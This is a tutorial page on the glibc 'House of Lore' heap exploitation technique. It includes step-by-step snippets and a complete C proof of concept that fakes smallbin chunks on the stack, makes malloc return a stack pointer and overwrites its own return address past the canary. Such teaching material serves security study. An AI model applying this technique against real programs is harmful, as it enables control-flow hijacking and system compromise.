Skip to main content

Overview

The House of Lore is a sophisticated heap exploitation technique that abuses the smallbin freelist to force malloc to return a nearly-arbitrary pointer. This technique is particularly interesting because it bypasses the hardening checks introduced in modern glibc versions.
This is an advanced exploitation technique that requires understanding of glibc’s bin management and double-linked list structures.

Glibc Version Compatibility

VersionStatusNotes
glibc 2.23✅ WorkingOriginal technique
glibc 2.26+✅ WorkingRequires tcache bypass
glibc 2.35+✅ WorkingMust bypass double-linked list checks
Latest✅ WorkingDemonstrated on Ubuntu 22.04
Ret2 Wargames Practice: Try this technique hands-on at House of Lore Interactive Challenge

What This Technique Achieves

The House of Lore enables:
  • Stack allocation: Force malloc to return a pointer to the stack
  • Arbitrary pointer allocation: Get malloc to return nearly any address
  • Control flow hijacking: Overwrite return addresses or function pointers on the stack
  • Bypass modern hardening: Works even with glibc’s double-linked list corruption checks

Prerequisites and Constraints

This technique requires:
  1. Heap overflow or UAF: Ability to overwrite a freed chunk’s bk pointer
  2. Fake chunk setup: Ability to create fake chunks with proper fd/bk pointers
  3. Tcache bypass: Must fill tcache (7 chunks) before targeting smallbin
  4. Size knowledge: Target size must be in smallbin range (>= 128 bytes on x64)
  5. Fake freelist: Need to set up a chain of fake chunks to prevent crashes

How It Works

1

Allocate the victim chunk

Allocate a chunk in smallbin range (>= 0x100 bytes) that will later be corrupted.
intptr_t *victim = malloc(0x100);
2

Fill the tcache

Allocate and free 7 dummy chunks of the same size to fill tcache.
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
for(int i=0; i<7; i++) free(dummies[i]);
3

Create fake chunks on stack

Set up a chain of fake chunks with proper fd/bk pointers to bypass corruption checks.
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

// Create fake freelist to prevent crashes
for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;

// Set up stack_buffer_1
stack_buffer_1[2] = victim_chunk;  // fd points to victim
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;  // bk points to stack_buffer_2

// Set up stack_buffer_2  
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;  // fd points back
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];  // bk to fake list
4

Free victim into smallbin

Free the victim chunk and trigger smallbin sorting.
free(victim);
malloc(1200);  // Sort victim into smallbin
5

Corrupt the victim's bk pointer

Overwrite victim->bk to point to your fake chunk.
victim[1] = (intptr_t)stack_buffer_1;
6

Drain tcache and allocate

Take out all tcache chunks, then allocate twice to get the fake chunk.
for(int i=0; i<7; i++) malloc(0x100);  // Drain tcache
void *p3 = malloc(0x100);  // Get victim
char *p4 = malloc(0x100);  // Get fake chunk on stack!

Complete Source Code

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[4] = {0};
  void* fake_freelist[7][4];

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
  void *dummies[7];
  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake free-list on the stack\n");
  for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
  }
  fake_freelist[6][3] = NULL;
  fprintf(stderr, "fake free-list at %p\n", fake_freelist);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
          "introduced by smallbin-to-tcache mechanism\n");
  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

  fprintf(stderr, "Freeing dummy chunk\n");
  for(int i=0; i<7; i++) free(dummies[i]);
  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------
  fprintf(stderr, "Now take all dummies chunk in tcache out\n");
  for(int i=0; i<7; i++) malloc(0x100);


  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(0x100);

  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

  long offset = (long)__builtin_frame_address(0) - (long)p4;
  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

Technical Deep Dive

Smallbin Corruption Checks

Glibc introduced hardening to detect smallbin corruption:
// From malloc.c - smallbin allocation
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
    errstr = "malloc(): smallbin double linked list corrupted";
    goto errout;
}
To bypass this check:
  1. Set stack_buffer_1->fd = victim_chunk so bck->fd == victim
  2. When we corrupt victim->bk = stack_buffer_1, the check passes

The Allocation Chain

When we allocate from the corrupted smallbin:
First malloc(0x100):
  - Returns victim chunk
  - Sets bin->bk = victim->bk (our stack_buffer_1)
  
Second malloc(0x100):
  - Returns stack_buffer_1 (on the stack!)
  - Sets bin->bk = stack_buffer_1->bk (stack_buffer_2)
  - Check: stack_buffer_1->bk->fd == stack_buffer_1 ✓

Smallbin-to-Tcache Mechanism

On glibc 2.26+, when allocating from smallbin, chunks are first moved to tcache:
// Simplified from malloc.c
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
    tcache_put(tc_victim, tc_idx);
}
This is why we need the fake freelist - to prevent crashes when chunks are moved to tcache.

Why Two Fake Chunks?

We need two fake chunks because:
  1. First fake chunk (stack_buffer_1): This is what we’ll get from malloc
  2. Second fake chunk (stack_buffer_2): This passes the double-linked list check for stack_buffer_1
The check validates: stack_buffer_1->bk->fd == stack_buffer_1

Common Pitfalls

Forgot Fake Freelist: Without the fake freelist chain, the smallbin-to-tcache mechanism will crash when trying to traverse the corrupted list.
Wrong Size Range: House of Lore only works with smallbin sizes (>= 0x100 bytes on x64). For smaller sizes, use House of Spirit or fastbin techniques.
Tcache Not Filled: If tcache isn’t full, allocations will come from tcache instead of smallbin, and the corruption won’t be reached.

Exploitation Strategies

Stack-Based Exploitation

  1. Create fake chunks on the stack
  2. Use House of Lore to get a stack pointer from malloc
  3. Write shellcode pointer or overwrite return address
  4. Jump over stack canary to avoid detection

Heap Feng Shui

  1. Shape the heap to place victim chunk near target
  2. Use overflow to corrupt victim->bk
  3. Get allocation at target location
  4. Overwrite sensitive data structures

Mitigations

This technique remains unpatched but faces several mitigations:
  • Tcache: Makes exploitation more complex by requiring tcache bypass
  • Double-linked list checks: Requires more sophisticated fake chunk setup
  • Metadata validation: Some implementations add additional checks
  • Safe linking (glibc 2.32+): Doesn’t affect smallbin but makes related techniques harder

Unsafe Unlink

Related technique exploiting double-linked list manipulation

Tcache Stashing Unlink

Modern variant combining tcache and smallbin exploitation

See Also

Build docs developers (and LLMs) love